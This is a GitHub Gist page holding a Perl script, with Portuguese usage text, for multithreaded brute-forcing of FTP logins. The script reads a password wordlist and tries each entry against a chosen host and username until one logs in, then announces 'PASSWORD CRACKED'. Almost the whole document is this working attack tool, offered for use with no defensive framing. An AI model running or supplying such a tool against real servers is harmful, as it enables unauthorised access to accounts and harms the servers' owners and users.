Last active
December 19, 2015 23:08
-
-
Save hc0d3r/6032318 to your computer and use it in GitHub Desktop.
Brute-force FTP com threads (*/-*)/
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env perl | |
use strict; | |
use warnings; | |
use threads; | |
use Net::FTP; | |
use Getopt::Long; | |
use threads::shared; | |
use Term::ANSIColor qw(:constants); | |
sub banner { | |
print ' | |
'.GREEN.'[+]'.RESET.' FTP Brute-force By MMxM | |
'.BOLD BLUE.'[*]'.RESET.' Opcoes: | |
-u | --user => nome do usuario [exemplo: admin] | |
-h | --host => Alvo [exemplo: 127.0.0.1] | |
-w | --wordlist => Lista de palavras [exemplo: /tmp/wordlist.txt] | |
-t | --threads => Numero de threads [exemplo: 10] | |
'.BOLD BLUE.'[*]'.RESET.' Exemplo de uso: | |
perl ftp.pl -u admin -h 127.0.01 -w minha-wordlist.txt -t 10 | |
'; | |
exit(1); | |
} | |
my($wordlist,$thr,$ini,$fin,@threads,$arq,$i,@a); | |
our($user,$host,@aa); | |
GetOptions( 'u|user=s' => \$user, | |
'h|host=s' => \$host, | |
'w|wordlist=s' => \$wordlist, | |
't|threads=i' => \$thr | |
) || die &banner; | |
&banner if (not defined($user)) || (not defined($host)) || (not defined($wordlist)) || (not defined($thr)); | |
open($arq,"<$wordlist") || die($!); | |
@a = <$arq>; | |
close($arq); | |
@aa = grep { !/^$/ } @a; | |
print "\n".GREEN.'[+]'.RESET." Iniciando ataque"; | |
print "\n".GREEN.'[+]'.RESET." Host => $host"; | |
print "\n".GREEN.'[+]'.RESET." Usuario => $user"; | |
print "\n".GREEN.'[+]'.RESET." Wordlist => $wordlist"; | |
print "\n".GREEN.'[+]'.RESET." Threads => $thr\n\n"; | |
my $stop :shared = 0; | |
$ini = 0; | |
$fin = $thr - 1; | |
while(1){ | |
exit if $stop; | |
@threads = (); | |
for($i=$ini;$i<=$fin;$i++){ | |
push(@threads,$i); | |
} | |
foreach(@threads){ | |
$_ = threads->create(\&ftp); | |
} | |
foreach(@threads){ | |
$_->join(); | |
} | |
$ini = $fin + 1; | |
$fin = $fin + $thr; | |
} | |
sub ftp { | |
my $id = threads->tid(); | |
threads->exit() if $stop; | |
$id--; | |
if(defined($aa[$id])){ | |
chomp($aa[$id]); | |
print BOLD BLUE .'[*]'. RESET ." Testando => $aa[$id]\n"; | |
my $f = Net::FTP->new($host) || die($!); | |
if($f->login($user, $aa[$id])){ | |
$f->quit; | |
print "\n\n\t".GREEN.'[+]'.RESET." PASSWORD CRACKED: $aa[$id]\n\n\n"; | |
$stop = 1; | |
} else { | |
$f->quit; | |
} | |
} else { | |
$stop = 1; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment